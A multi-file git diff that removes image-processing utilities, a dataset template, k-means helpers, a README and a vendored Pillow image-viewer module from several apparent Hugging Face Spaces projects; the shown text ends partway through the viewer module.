-def single42tensor4(img):
-    return torch.from_numpy(np.ascontiguousarray(img)).permute(2, 0, 1, 3).float()
-
-
-# from skimage.io import imread, imsave
-def tensor2img(tensor, out_type=np.uint8, min_max=(0, 1)):
-    '''
-    Converts a torch Tensor into an image Numpy array of BGR channel order
-    Input: 4D(B,(3/1),H,W), 3D(C,H,W), or 2D(H,W), any range, RGB channel order
-    Output: 3D(H,W,C) or 2D(H,W), [0,255], np.uint8 (default)
-    '''
-    tensor = tensor.squeeze().float().cpu().clamp_(*min_max)  # squeeze first, then clamp
-    tensor = (tensor - min_max[0]) / (min_max[1] - min_max[0])  # to range [0,1]
-    n_dim = tensor.dim()
-    if n_dim == 4:
-        n_img = len(tensor)
-        img_np = make_grid(tensor, nrow=int(math.sqrt(n_img)), normalize=False).numpy()
-        img_np = np.transpose(img_np[[2, 1, 0], :, :], (1, 2, 0))  # HWC, BGR
-    elif n_dim == 3:
-        img_np = tensor.numpy()
-        img_np = np.transpose(img_np[[2, 1, 0], :, :], (1, 2, 0))  # HWC, BGR
-    elif n_dim == 2:
-        img_np = tensor.numpy()
-    else:
-        raise TypeError(
-            'Only support 4D, 3D and 2D tensor. But received with dimension: {:d}'.format(n_dim))
-    if out_type == np.uint8:
-        img_np = (img_np * 255.0).round()
-        # Important. Unlike matlab, numpy.unit8() WILL NOT round by default.
-    return img_np.astype(out_type)
-
-
-'''
-# --------------------------------------------
-# Augmentation, flipe and/or rotate
-# --------------------------------------------
-# The following two are enough.
-# (1) augmet_img: numpy image of WxHxC or WxH
-# (2) augment_img_tensor4: tensor image 1xCxWxH
-# --------------------------------------------
-'''
-
-
-def augment_img(img, mode=0):
-    '''Kai Zhang (github: https://github.com/cszn)
-    '''
-    if mode == 0:
-        return img
-    elif mode == 1:
-        return np.flipud(np.rot90(img))
-    elif mode == 2:
-        return np.flipud(img)
-    elif mode == 3:
-        return np.rot90(img, k=3)
-    elif mode == 4:
-        return np.flipud(np.rot90(img, k=2))
-    elif mode == 5:
-        return np.rot90(img)
-    elif mode == 6:
-        return np.rot90(img, k=2)
-    elif mode == 7:
-        return np.flipud(np.rot90(img, k=3))
-
-
-def augment_img_tensor4(img, mode=0):
-    '''Kai Zhang (github: https://github.com/cszn)
-    '''
-    if mode == 0:
-        return img
-    elif mode == 1:
-        return img.rot90(1, [2, 3]).flip([2])
-    elif mode == 2:
-        return img.flip([2])
-    elif mode == 3:
-        return img.rot90(3, [2, 3])
-    elif mode == 4:
-        return img.rot90(2, [2, 3]).flip([2])
-    elif mode == 5:
-        return img.rot90(1, [2, 3])
-    elif mode == 6:
-        return img.rot90(2, [2, 3])
-    elif mode == 7:
-        return img.rot90(3, [2, 3]).flip([2])
-
-
-def augment_img_tensor(img, mode=0):
-    '''Kai Zhang (github: https://github.com/cszn)
-    '''
-    img_size = img.size()
-    img_np = img.data.cpu().numpy()
-    if len(img_size) == 3:
-        img_np = np.transpose(img_np, (1, 2, 0))
-    elif len(img_size) == 4:
-        img_np = np.transpose(img_np, (2, 3, 1, 0))
-    img_np = augment_img(img_np, mode=mode)
-    img_tensor = torch.from_numpy(np.ascontiguousarray(img_np))
-    if len(img_size) == 3:
-        img_tensor = img_tensor.permute(2, 0, 1)
-    elif len(img_size) == 4:
-        img_tensor = img_tensor.permute(3, 2, 0, 1)
-
-    return img_tensor.type_as(img)
-
-
-def augment_img_np3(img, mode=0):
-    if mode == 0:
-        return img
-    elif mode == 1:
-        return img.transpose(1, 0, 2)
-    elif mode == 2:
-        return img[::-1, :, :]
-    elif mode == 3:
-        img = img[::-1, :, :]
-        img = img.transpose(1, 0, 2)
-        return img
-    elif mode == 4:
-        return img[:, ::-1, :]
-    elif mode == 5:
-        img = img[:, ::-1, :]
-        img = img.transpose(1, 0, 2)
-        return img
-    elif mode == 6:
-        img = img[:, ::-1, :]
-        img = img[::-1, :, :]
-        return img
-    elif mode == 7:
-        img = img[:, ::-1, :]
-        img = img[::-1, :, :]
-        img = img.transpose(1, 0, 2)
-        return img
-
-
-def augment_imgs(img_list, hflip=True, rot=True):
-    # horizontal flip OR rotate
-    hflip = hflip and random.random() < 0.5
-    vflip = rot and random.random() < 0.5
-    rot90 = rot and random.random() < 0.5
-
-    def _augment(img):
-        if hflip:
-            img = img[:, ::-1, :]
-        if vflip:
-            img = img[::-1, :, :]
-        if rot90:
-            img = img.transpose(1, 0, 2)
-        return img
-
-    return [_augment(img) for img in img_list]
-
-
-'''
-# --------------------------------------------
-# modcrop and shave
-# --------------------------------------------
-'''
-
-
-def modcrop(img_in, scale):
-    # img_in: Numpy, HWC or HW
-    img = np.copy(img_in)
-    if img.ndim == 2:
-        H, W = img.shape
-        H_r, W_r = H % scale, W % scale
-        img = img[:H - H_r, :W - W_r]
-    elif img.ndim == 3:
-        H, W, C = img.shape
-        H_r, W_r = H % scale, W % scale
-        img = img[:H - H_r, :W - W_r, :]
-    else:
-        raise ValueError('Wrong img ndim: [{:d}].'.format(img.ndim))
-    return img
-
-
-def shave(img_in, border=0):
-    # img_in: Numpy, HWC or HW
-    img = np.copy(img_in)
-    h, w = img.shape[:2]
-    img = img[border:h-border, border:w-border]
-    return img
-
-
-'''
-# --------------------------------------------
-# image processing process on numpy image
-# channel_convert(in_c, tar_type, img_list):
-# rgb2ycbcr(img, only_y=True):
-# bgr2ycbcr(img, only_y=True):
-# ycbcr2rgb(img):
-# --------------------------------------------
-'''
-
-
-def rgb2ycbcr(img, only_y=True):
-    '''same as matlab rgb2ycbcr
-    only_y: only return Y channel
-    Input:
-        uint8, [0, 255]
-        float, [0, 1]
-    '''
-    in_img_type = img.dtype
-    img.astype(np.float32)
-    if in_img_type != np.uint8:
-        img *= 255.
-    # convert
-    if only_y:
-        rlt = np.dot(img, [65.481, 128.553, 24.966]) / 255.0 + 16.0
-    else:
-        rlt = np.matmul(img, [[65.481, -37.797, 112.0], [128.553, -74.203, -93.786],
-                              [24.966, 112.0, -18.214]]) / 255.0 + [16, 128, 128]
-    if in_img_type == np.uint8:
-        rlt = rlt.round()
-    else:
-        rlt /= 255.
-    return rlt.astype(in_img_type)
-
-
-def ycbcr2rgb(img):
-    '''same as matlab ycbcr2rgb
-    Input:
-        uint8, [0, 255]
-        float, [0, 1]
-    '''
-    in_img_type = img.dtype
-    img.astype(np.float32)
-    if in_img_type != np.uint8:
-        img *= 255.
-    # convert
-    rlt = np.matmul(img, [[0.00456621, 0.00456621, 0.00456621], [0, -0.00153632, 0.00791071],
-                          [0.00625893, -0.00318811, 0]]) * 255.0 + [-222.921, 135.576, -276.836]
-    if in_img_type == np.uint8:
-        rlt = rlt.round()
-    else:
-        rlt /= 255.
-    return rlt.astype(in_img_type)
-
-
-def bgr2ycbcr(img, only_y=True):
-    '''bgr version of rgb2ycbcr
-    only_y: only return Y channel
-    Input:
-        uint8, [0, 255]
-        float, [0, 1]
-    '''
-    in_img_type = img.dtype
-    img.astype(np.float32)
-    if in_img_type != np.uint8:
-        img *= 255.
-    # convert
-    if only_y:
-        rlt = np.dot(img, [24.966, 128.553, 65.481]) / 255.0 + 16.0
-    else:
-        rlt = np.matmul(img, [[24.966, 112.0, -18.214], [128.553, -74.203, -93.786],
-                              [65.481, -37.797, 112.0]]) / 255.0 + [16, 128, 128]
-    if in_img_type == np.uint8:
-        rlt = rlt.round()
-    else:
-        rlt /= 255.
-    return rlt.astype(in_img_type)
-
-
-def channel_convert(in_c, tar_type, img_list):
-    # conversion among BGR, gray and y
-    if in_c == 3 and tar_type == 'gray':  # BGR to gray
-        gray_list = [cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) for img in img_list]
-        return [np.expand_dims(img, axis=2) for img in gray_list]
-    elif in_c == 3 and tar_type == 'y':  # BGR to y
-        y_list = [bgr2ycbcr(img, only_y=True) for img in img_list]
-        return [np.expand_dims(img, axis=2) for img in y_list]
-    elif in_c == 1 and tar_type == 'RGB':  # gray/y to BGR
-        return [cv2.cvtColor(img, cv2.COLOR_GRAY2BGR) for img in img_list]
-    else:
-        return img_list
-
-
-'''
-# --------------------------------------------
-# metric, PSNR and SSIM
-# --------------------------------------------
-'''
-
-
-# --------------------------------------------
-# PSNR
-# --------------------------------------------
-def calculate_psnr(img1, img2, border=0):
-    # img1 and img2 have range [0, 255]
-    #img1 = img1.squeeze()
-    #img2 = img2.squeeze()
-    if not img1.shape == img2.shape:
-        raise ValueError('Input images must have the same dimensions.')
-    h, w = img1.shape[:2]
-    img1 = img1[border:h-border, border:w-border]
-    img2 = img2[border:h-border, border:w-border]
-
-    img1 = img1.astype(np.float64)
-    img2 = img2.astype(np.float64)
-    mse = np.mean((img1 - img2)**2)
-    if mse == 0:
-        return float('inf')
-    return 20 * math.log10(255.0 / math.sqrt(mse))
-
-
-# --------------------------------------------
-# SSIM
-# --------------------------------------------
-def calculate_ssim(img1, img2, border=0):
-    '''calculate SSIM
-    the same outputs as MATLAB's
-    img1, img2: [0, 255]
-    '''
-    #img1 = img1.squeeze()
-    #img2 = img2.squeeze()
-    if not img1.shape == img2.shape:
-        raise ValueError('Input images must have the same dimensions.')
-    h, w = img1.shape[:2]
-    img1 = img1[border:h-border, border:w-border]
-    img2 = img2[border:h-border, border:w-border]
-
-    if img1.ndim == 2:
-        return ssim(img1, img2)
-    elif img1.ndim == 3:
-        if img1.shape[2] == 3:
-            ssims = []
-            for i in range(3):
-                ssims.append(ssim(img1[:,:,i], img2[:,:,i]))
-            return np.array(ssims).mean()
-        elif img1.shape[2] == 1:
-            return ssim(np.squeeze(img1), np.squeeze(img2))
-    else:
-        raise ValueError('Wrong input image dimensions.')
-
-
-def ssim(img1, img2):
-    C1 = (0.01 * 255)**2
-    C2 = (0.03 * 255)**2
-
-    img1 = img1.astype(np.float64)
-    img2 = img2.astype(np.float64)
-    kernel = cv2.getGaussianKernel(11, 1.5)
-    window = np.outer(kernel, kernel.transpose())
-
-    mu1 = cv2.filter2D(img1, -1, window)[5:-5, 5:-5]  # valid
-    mu2 = cv2.filter2D(img2, -1, window)[5:-5, 5:-5]
-    mu1_sq = mu1**2
-    mu2_sq = mu2**2
-    mu1_mu2 = mu1 * mu2
-    sigma1_sq = cv2.filter2D(img1**2, -1, window)[5:-5, 5:-5] - mu1_sq
-    sigma2_sq = cv2.filter2D(img2**2, -1, window)[5:-5, 5:-5] - mu2_sq
-    sigma12 = cv2.filter2D(img1 * img2, -1, window)[5:-5, 5:-5] - mu1_mu2
-
-    ssim_map = ((2 * mu1_mu2 + C1) * (2 * sigma12 + C2)) / ((mu1_sq + mu2_sq + C1) *
-                                                            (sigma1_sq + sigma2_sq + C2))
-    return ssim_map.mean()
-
-
-'''
-# --------------------------------------------
-# matlab's bicubic imresize (numpy and torch) [0, 1]
-# --------------------------------------------
-'''
-
-
-# matlab 'imresize' function, now only support 'bicubic'
-def cubic(x):
-    absx = torch.abs(x)
-    absx2 = absx**2
-    absx3 = absx**3
-    return (1.5*absx3 - 2.5*absx2 + 1) * ((absx <= 1).type_as(absx)) + \
-        (-0.5*absx3 + 2.5*absx2 - 4*absx + 2) * (((absx > 1)*(absx <= 2)).type_as(absx))
-
-
-def calculate_weights_indices(in_length, out_length, scale, kernel, kernel_width, antialiasing):
-    if (scale < 1) and (antialiasing):
-        # Use a modified kernel to simultaneously interpolate and antialias- larger kernel width
-        kernel_width = kernel_width / scale
-
-    # Output-space coordinates
-    x = torch.linspace(1, out_length, out_length)
-
-    # Input-space coordinates. Calculate the inverse mapping such that 0.5
-    # in output space maps to 0.5 in input space, and 0.5+scale in output
-    # space maps to 1.5 in input space.
-    u = x / scale + 0.5 * (1 - 1 / scale)
-
-    # What is the left-most pixel that can be involved in the computation?
-    left = torch.floor(u - kernel_width / 2)
-
-    # What is the maximum number of pixels that can be involved in the
-    # computation?  Note: it's OK to use an extra pixel here; if the
-    # corresponding weights are all zero, it will be eliminated at the end
-    # of this function.
-    P = math.ceil(kernel_width) + 2
-
-    # The indices of the input pixels involved in computing the k-th output
-    # pixel are in row k of the indices matrix.
-    indices = left.view(out_length, 1).expand(out_length, P) + torch.linspace(0, P - 1, P).view(
-        1, P).expand(out_length, P)
-
-    # The weights used to compute the k-th output pixel are in row k of the
-    # weights matrix.
-    distance_to_center = u.view(out_length, 1).expand(out_length, P) - indices
-    # apply cubic kernel
-    if (scale < 1) and (antialiasing):
-        weights = scale * cubic(distance_to_center * scale)
-    else:
-        weights = cubic(distance_to_center)
-    # Normalize the weights matrix so that each row sums to 1.
-    weights_sum = torch.sum(weights, 1).view(out_length, 1)
-    weights = weights / weights_sum.expand(out_length, P)
-
-    # If a column in weights is all zero, get rid of it. only consider the first and last column.
-    weights_zero_tmp = torch.sum((weights == 0), 0)
-    if not math.isclose(weights_zero_tmp[0], 0, rel_tol=1e-6):
-        indices = indices.narrow(1, 1, P - 2)
-        weights = weights.narrow(1, 1, P - 2)
-    if not math.isclose(weights_zero_tmp[-1], 0, rel_tol=1e-6):
-        indices = indices.narrow(1, 0, P - 2)
-        weights = weights.narrow(1, 0, P - 2)
-    weights = weights.contiguous()
-    indices = indices.contiguous()
-    sym_len_s = -indices.min() + 1
-    sym_len_e = indices.max() - in_length
-    indices = indices + sym_len_s - 1
-    return weights, indices, int(sym_len_s), int(sym_len_e)
-
-
-# --------------------------------------------
-# imresize for tensor image [0, 1]
-# --------------------------------------------
-def imresize(img, scale, antialiasing=True):
-    # Now the scale should be the same for H and W
-    # input: img: pytorch tensor, CHW or HW [0,1]
-    # output: CHW or HW [0,1] w/o round
-    need_squeeze = True if img.dim() == 2 else False
-    if need_squeeze:
-        img.unsqueeze_(0)
-    in_C, in_H, in_W = img.size()
-    out_C, out_H, out_W = in_C, math.ceil(in_H * scale), math.ceil(in_W * scale)
-    kernel_width = 4
-    kernel = 'cubic'
-
-    # Return the desired dimension order for performing the resize.  The
-    # strategy is to perform the resize first along the dimension with the
-    # smallest scale factor.
-    # Now we do not support this.
-
-    # get weights and indices
-    weights_H, indices_H, sym_len_Hs, sym_len_He = calculate_weights_indices(
-        in_H, out_H, scale, kernel, kernel_width, antialiasing)
-    weights_W, indices_W, sym_len_Ws, sym_len_We = calculate_weights_indices(
-        in_W, out_W, scale, kernel, kernel_width, antialiasing)
-    # process H dimension
-    # symmetric copying
-    img_aug = torch.FloatTensor(in_C, in_H + sym_len_Hs + sym_len_He, in_W)
-    img_aug.narrow(1, sym_len_Hs, in_H).copy_(img)
-
-    sym_patch = img[:, :sym_len_Hs, :]
-    inv_idx = torch.arange(sym_patch.size(1) - 1, -1, -1).long()
-    sym_patch_inv = sym_patch.index_select(1, inv_idx)
-    img_aug.narrow(1, 0, sym_len_Hs).copy_(sym_patch_inv)
-
-    sym_patch = img[:, -sym_len_He:, :]
-    inv_idx = torch.arange(sym_patch.size(1) - 1, -1, -1).long()
-    sym_patch_inv = sym_patch.index_select(1, inv_idx)
-    img_aug.narrow(1, sym_len_Hs + in_H, sym_len_He).copy_(sym_patch_inv)
-
-    out_1 = torch.FloatTensor(in_C, out_H, in_W)
-    kernel_width = weights_H.size(1)
-    for i in range(out_H):
-        idx = int(indices_H[i][0])
-        for j in range(out_C):
-            out_1[j, i, :] = img_aug[j, idx:idx + kernel_width, :].transpose(0, 1).mv(weights_H[i])
-
-    # process W dimension
-    # symmetric copying
-    out_1_aug = torch.FloatTensor(in_C, out_H, in_W + sym_len_Ws + sym_len_We)
-    out_1_aug.narrow(2, sym_len_Ws, in_W).copy_(out_1)
-
-    sym_patch = out_1[:, :, :sym_len_Ws]
-    inv_idx = torch.arange(sym_patch.size(2) - 1, -1, -1).long()
-    sym_patch_inv = sym_patch.index_select(2, inv_idx)
-    out_1_aug.narrow(2, 0, sym_len_Ws).copy_(sym_patch_inv)
-
-    sym_patch = out_1[:, :, -sym_len_We:]
-    inv_idx = torch.arange(sym_patch.size(2) - 1, -1, -1).long()
-    sym_patch_inv = sym_patch.index_select(2, inv_idx)
-    out_1_aug.narrow(2, sym_len_Ws + in_W, sym_len_We).copy_(sym_patch_inv)
-
-    out_2 = torch.FloatTensor(in_C, out_H, out_W)
-    kernel_width = weights_W.size(1)
-    for i in range(out_W):
-        idx = int(indices_W[i][0])
-        for j in range(out_C):
-            out_2[j, :, i] = out_1_aug[j, :, idx:idx + kernel_width].mv(weights_W[i])
-    if need_squeeze:
-        out_2.squeeze_()
-    return out_2
-
-
-# --------------------------------------------
-# imresize for numpy image [0, 1]
-# --------------------------------------------
-def imresize_np(img, scale, antialiasing=True):
-    # Now the scale should be the same for H and W
-    # input: img: Numpy, HWC or HW [0,1]
-    # output: HWC or HW [0,1] w/o round
-    img = torch.from_numpy(img)
-    need_squeeze = True if img.dim() == 2 else False
-    if need_squeeze:
-        img.unsqueeze_(2)
-
-    in_H, in_W, in_C = img.size()
-    out_C, out_H, out_W = in_C, math.ceil(in_H * scale), math.ceil(in_W * scale)
-    kernel_width = 4
-    kernel = 'cubic'
-
-    # Return the desired dimension order for performing the resize.  The
-    # strategy is to perform the resize first along the dimension with the
-    # smallest scale factor.
-    # Now we do not support this.
-
-    # get weights and indices
-    weights_H, indices_H, sym_len_Hs, sym_len_He = calculate_weights_indices(
-        in_H, out_H, scale, kernel, kernel_width, antialiasing)
-    weights_W, indices_W, sym_len_Ws, sym_len_We = calculate_weights_indices(
-        in_W, out_W, scale, kernel, kernel_width, antialiasing)
-    # process H dimension
-    # symmetric copying
-    img_aug = torch.FloatTensor(in_H + sym_len_Hs + sym_len_He, in_W, in_C)
-    img_aug.narrow(0, sym_len_Hs, in_H).copy_(img)
-
-    sym_patch = img[:sym_len_Hs, :, :]
-    inv_idx = torch.arange(sym_patch.size(0) - 1, -1, -1).long()
-    sym_patch_inv = sym_patch.index_select(0, inv_idx)
-    img_aug.narrow(0, 0, sym_len_Hs).copy_(sym_patch_inv)
-
-    sym_patch = img[-sym_len_He:, :, :]
-    inv_idx = torch.arange(sym_patch.size(0) - 1, -1, -1).long()
-    sym_patch_inv = sym_patch.index_select(0, inv_idx)
-    img_aug.narrow(0, sym_len_Hs + in_H, sym_len_He).copy_(sym_patch_inv)
-
-    out_1 = torch.FloatTensor(out_H, in_W, in_C)
-    kernel_width = weights_H.size(1)
-    for i in range(out_H):
-        idx = int(indices_H[i][0])
-        for j in range(out_C):
-            out_1[i, :, j] = img_aug[idx:idx + kernel_width, :, j].transpose(0, 1).mv(weights_H[i])
-
-    # process W dimension
-    # symmetric copying
-    out_1_aug = torch.FloatTensor(out_H, in_W + sym_len_Ws + sym_len_We, in_C)
-    out_1_aug.narrow(1, sym_len_Ws, in_W).copy_(out_1)
-
-    sym_patch = out_1[:, :sym_len_Ws, :]
-    inv_idx = torch.arange(sym_patch.size(1) - 1, -1, -1).long()
-    sym_patch_inv = sym_patch.index_select(1, inv_idx)
-    out_1_aug.narrow(1, 0, sym_len_Ws).copy_(sym_patch_inv)
-
-    sym_patch = out_1[:, -sym_len_We:, :]
-    inv_idx = torch.arange(sym_patch.size(1) - 1, -1, -1).long()
-    sym_patch_inv = sym_patch.index_select(1, inv_idx)
-    out_1_aug.narrow(1, sym_len_Ws + in_W, sym_len_We).copy_(sym_patch_inv)
-
-    out_2 = torch.FloatTensor(out_H, out_W, in_C)
-    kernel_width = weights_W.size(1)
-    for i in range(out_W):
-        idx = int(indices_W[i][0])
-        for j in range(out_C):
-            out_2[:, i, j] = out_1_aug[:, idx:idx + kernel_width, j].mv(weights_W[i])
-    if need_squeeze:
-        out_2.squeeze_()
-
-    return out_2.numpy()
-
-
-if __name__ == '__main__':
-    print('---')
-#    img = imread_uint('test.bmp', 3)
-#    img = uint2single(img)
-#    img_bicubic = imresize_np(img, 1/4)
\ No newline at end of file
diff --git a/spaces/darveen/text_summarizer/README.md b/spaces/darveen/text_summarizer/README.md
deleted file mode 100644
index cc35f28129e1330c99a352eaf2cabe5ea925cab8..0000000000000000000000000000000000000000
--- a/spaces/darveen/text_summarizer/README.md
+++ /dev/null
@@ -1,13 +0,0 @@
----
-title: Text Summarizer
-emoji: 🐨
-colorFrom: indigo
-colorTo: purple
-sdk: streamlit
-sdk_version: 1.10.0
-app_file: app.py
-pinned: false
-license: openrail
----
-
-Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference
diff --git a/spaces/davidpiscasio/unpaired-img2img/data/template_dataset.py b/spaces/davidpiscasio/unpaired-img2img/data/template_dataset.py
deleted file mode 100644
index bfdf16be2a8a834b204c45d88c86857b37b9bd25..0000000000000000000000000000000000000000
--- a/spaces/davidpiscasio/unpaired-img2img/data/template_dataset.py
+++ /dev/null
@@ -1,75 +0,0 @@
-"""Dataset class template
-
-This module provides a template for users to implement custom datasets.
-You can specify '--dataset_mode template' to use this dataset.
-The class name should be consistent with both the filename and its dataset_mode option.
-The filename should be <dataset_mode>_dataset.py
-The class name should be <Dataset_mode>Dataset.py
-You need to implement the following functions:
-    -- <modify_commandline_options>:　Add dataset-specific options and rewrite default values for existing options.
-    -- <__init__>: Initialize this dataset class.
-    -- <__getitem__>: Return a data point and its metadata information.
-    -- <__len__>: Return the number of images.
-"""
-from data.base_dataset import BaseDataset, get_transform
-# from data.image_folder import make_dataset
-# from PIL import Image
-
-
-class TemplateDataset(BaseDataset):
-    """A template dataset class for you to implement custom datasets."""
-    @staticmethod
-    def modify_commandline_options(parser, is_train):
-        """Add new dataset-specific options, and rewrite default values for existing options.
-
-        Parameters:
-            parser          -- original option parser
-            is_train (bool) -- whether training phase or test phase. You can use this flag to add training-specific or test-specific options.
-
-        Returns:
-            the modified parser.
-        """
-        parser.add_argument('--new_dataset_option', type=float, default=1.0, help='new dataset option')
-        parser.set_defaults(max_dataset_size=10, new_dataset_option=2.0)  # specify dataset-specific default values
-        return parser
-
-    def __init__(self, opt):
-        """Initialize this dataset class.
-
-        Parameters:
-            opt (Option class) -- stores all the experiment flags; needs to be a subclass of BaseOptions
-
-        A few things can be done here.
-        - save the options (have been done in BaseDataset)
-        - get image paths and meta information of the dataset.
-        - define the image transformation.
-        """
-        # save the option and dataset root
-        BaseDataset.__init__(self, opt)
-        # get the image paths of your dataset;
-        self.image_paths = []  # You can call sorted(make_dataset(self.root, opt.max_dataset_size)) to get all the image paths under the directory self.root
-        # define the default transform function. You can use <base_dataset.get_transform>; You can also define your custom transform function
-        self.transform = get_transform(opt)
-
-    def __getitem__(self, index):
-        """Return a data point and its metadata information.
-
-        Parameters:
-            index -- a random integer for data indexing
-
-        Returns:
-            a dictionary of data with their names. It usually contains the data itself and its metadata information.
-
-        Step 1: get a random image path: e.g., path = self.image_paths[index]
-        Step 2: load your data from the disk: e.g., image = Image.open(path).convert('RGB').
-        Step 3: convert your data to a PyTorch tensor. You can use helpder functions such as self.transform. e.g., data = self.transform(image)
-        Step 4: return a data point as a dictionary.
-        """
-        path = 'temp'    # needs to be a string
-        data_A = None    # needs to be a tensor
-        data_B = None    # needs to be a tensor
-        return {'data_A': data_A, 'data_B': data_B, 'path': path}
-
-    def __len__(self):
-        """Return the total number of images."""
-        return len(self.image_paths)
diff --git a/spaces/dawood/Kanye-AI/cluster/__init__.py b/spaces/dawood/Kanye-AI/cluster/__init__.py
deleted file mode 100644
index f1b9bde04e73e9218a5d534227caa4c25332f424..0000000000000000000000000000000000000000
--- a/spaces/dawood/Kanye-AI/cluster/__init__.py
+++ /dev/null
@@ -1,29 +0,0 @@
-import numpy as np
-import torch
-from sklearn.cluster import KMeans
-
-def get_cluster_model(ckpt_path):
-    checkpoint = torch.load(ckpt_path)
-    kmeans_dict = {}
-    for spk, ckpt in checkpoint.items():
-        km = KMeans(ckpt["n_features_in_"])
-        km.__dict__["n_features_in_"] = ckpt["n_features_in_"]
-        km.__dict__["_n_threads"] = ckpt["_n_threads"]
-        km.__dict__["cluster_centers_"] = ckpt["cluster_centers_"]
-        kmeans_dict[spk] = km
-    return kmeans_dict
-
-def get_cluster_result(model, x, speaker):
-    """
-        x: np.array [t, 256]
-        return cluster class result
-    """
-    return model[speaker].predict(x)
-
-def get_cluster_center_result(model, x,speaker):
-    """x: np.array [t, 256]"""
-    predict = model[speaker].predict(x)
-    return model[speaker].cluster_centers_[predict]
-
-def get_center(model, x,speaker):
-    return model[speaker].cluster_centers_[x]
diff --git a/spaces/dcarpintero/nlp-summarizer-pegasus/.venv/lib/python3.9/site-packages/PIL/ImageShow.py b/spaces/dcarpintero/nlp-summarizer-pegasus/.venv/lib/python3.9/site-packages/PIL/ImageShow.py
deleted file mode 100644
index 8b1c3f8bb63ea6e6fccba543bdaea0bbd9b03163..0000000000000000000000000000000000000000
--- a/spaces/dcarpintero/nlp-summarizer-pegasus/.venv/lib/python3.9/site-packages/PIL/ImageShow.py
+++ /dev/null
@@ -1,323 +0,0 @@
-#
-# The Python Imaging Library.
-# $Id$
-#
-# im.show() drivers
-#
-# History:
-# 2008-04-06 fl   Created
-#
-# Copyright (c) Secret Labs AB 2008.
-#
-# See the README file for information on usage and redistribution.
-#
-import os
-import shutil
-import subprocess
-import sys
-from shlex import quote
-
-from . import Image
-
-_viewers = []
-
-
-def register(viewer, order=1):
-    """
-    The :py:func:`register` function is used to register additional viewers::
-
-        from PIL import ImageShow
-        ImageShow.register(MyViewer())  # MyViewer will be used as a last resort
-        ImageShow.register(MySecondViewer(), 0)  # MySecondViewer will be prioritised
-        ImageShow.register(ImageShow.XVViewer(), 0)  # XVViewer will be prioritised
-
-    :param viewer: The viewer to be registered.
-    :param order:
-        Zero or a negative integer to prepend this viewer to the list,
-        a positive integer to append it.
-    """
-    try:
-        if issubclass(viewer, Viewer):
-            viewer = viewer()
-    except TypeError:
-        pass  # raised if viewer wasn't a class
-    if order > 0:
-        _viewers.append(viewer)
-    else:
-        _viewers.insert(0, viewer)
-
-
-def show(image, title=None, **options):
-    r"""
-    Display a given image.
-
-    :param image: An image object.
-    :param title: Optional title. Not all viewers can display the title.
-    :param \**options: Additional viewer options.
-    :returns: ``True`` if a suitable viewer was found, ``False`` otherwise.
-    """
-    for viewer in _viewers:
-        if viewer.show(image, title=title, **options):
-            return True
-    return False
-
-
-class Viewer:
-    """Base class for viewers."""
-
-    # main api
-
-    def show(self, image, **options):
-        """
-        The main function for displaying an image.
-        Converts the given image to the target format and displays it.
-        """
-
-        if not (
-            image.mode in ("1", "RGBA")
-            or (self.format == "PNG" and image.mode in ("I;16", "LA"))
-        ):
-            base = Image.getmodebase(image.mode)
-            if image.mode != base:
-                image = image.convert(base)
-
-        return self.show_image(image, **options)
-
-    # hook methods
-
-    format = None
-    """The format to convert the image into."""
-    options = {}
-    """Additional options used to convert the image."""
-
-    def get_format(self, image):
-        """Return format name, or ``None`` to save as PGM/PPM."""
-        return self.format
-
-    def get_command(self, file, **options):
-        """
-        Returns the command used to display the file.
-        Not implemented in the base class.
-        """
-        raise NotImplementedError
-
-    def save_image(self, image):
-        """Save to temporary file and return filename."""
-        return image._dump(format=self.get_format(image), **self.options)
-
-    def show_image(self, image, **options):
-        """Display the given image."""
-        return self.show_file(self.save_image(image), **options)
-
-    def show_file(self, path, **options):
-        """
-        Display given file.
-        """
-        os.system(self.get_command(path, **options))  # nosec
-        return 1
-
-
-# --------------------------------------------------------------------
-
-
-class WindowsViewer(Viewer):
-    """The default viewer on Windows is the default system application for PNG files."""
-
-    format = "PNG"
-    options = {"compress_level": 1, "save_all": True}
-
-    def get_command(self, file, **options):
-        return (
-            f'start "Pillow" /WAIT "{file}" '
-            "&& ping -n 4 127.0.0.1 >NUL "
-            f'&& del /f "{file}"'
-        )
-
-
-if sys.platform == "win32":
-    register(WindowsViewer)
-
-
-class MacViewer(Viewer):
-    """The default viewer on macOS using ``Preview.app``."""
-
-    format = "PNG"
-    options = {"compress_level": 1, "save_all": True}
-
-    def get_command(self, file, **options):
-        # on darwin open returns immediately resulting in the temp
-        # file removal while app is opening
-        command = "open -a Preview.app"
-        command = f"({command} {quote(file)}; sleep 20; rm -f {quote(file)})&"
-        return command
-
-    def show_file(self, path, **options):
-        """
-        Display given file.
-        """
-        subprocess.call(["open", "-a", "Preview.app", path])
-        executable = sys.executable or shutil.which("python3")
-        if executable:
-            subprocess.Popen(
-                [
-                    executable,
-                    "-c",
-                    "import os, sys, time; time.sleep(20); os.remove(sys.argv[1])",
-                    path,
-                ]
-            )
-        return 1
-
-
-if sys.platform == "darwin":
-    register(MacViewer)
-
-
-class UnixViewer(Viewer):
-    format = "PNG"
-    options = {"compress_level": 1, "save_all": True}
-
-    def get_command(self, file, **options):
-        command = self.get_command_ex(file, **options)[0]
-        return f"({command} {quote(file)}"
-
-
-class XDGViewer(UnixViewer):
-    """
-    The freedesktop.org ``xdg-open`` command.
-    """
-
-    def get_command_ex(self, file, **options):
-        command = executable = "xdg-open"
-        return command, executable
-
-    def show_file(self, path, **options):
-        """
-        Display given file.
-        """
-        subprocess.Popen(["xdg-open", path])
-        return 1
-
-
-class DisplayViewer(UnixViewer):
-    """
-    The ImageMagick ``display`` command.
-    This viewer supports the ``title`` parameter.
-    """
-
-    def get_command_ex(self, file, title=None, **options):
-        command = executable = "display"
-        if title:
-            command += f" -title {quote(title)}"
-        return command, executable
-
-    def show_file(self, path, **options):
-        """
-        Display given file.
-        """
-        args = ["display"]
-        title = options.get("title")
-        if title:
-            args += ["-title", title]
-        args.append(path)
-
-        subprocess.Popen(args)
-        return 1
-
-
-class GmDisplayViewer(UnixViewer):
-    """The GraphicsMagick ``gm display`` command."""
-
-    def get_command_ex(self, file, **options):
-        executable = "gm"
-        command = "gm display"
-        return command, executable
-
-    def show_file(self, path, **options):
-        """
-        Display given file.
-        """
-        subprocess.Popen(["gm", "display", path])
-        return 1
-
-
-class EogViewer(UnixViewer):
-    """The GNOME Image Viewer ``eog`` command."""
-
-    def get_command_ex(self, file, **options):
-        executable = "eog"
-        command = "eog -n"
-        return command, executable
-
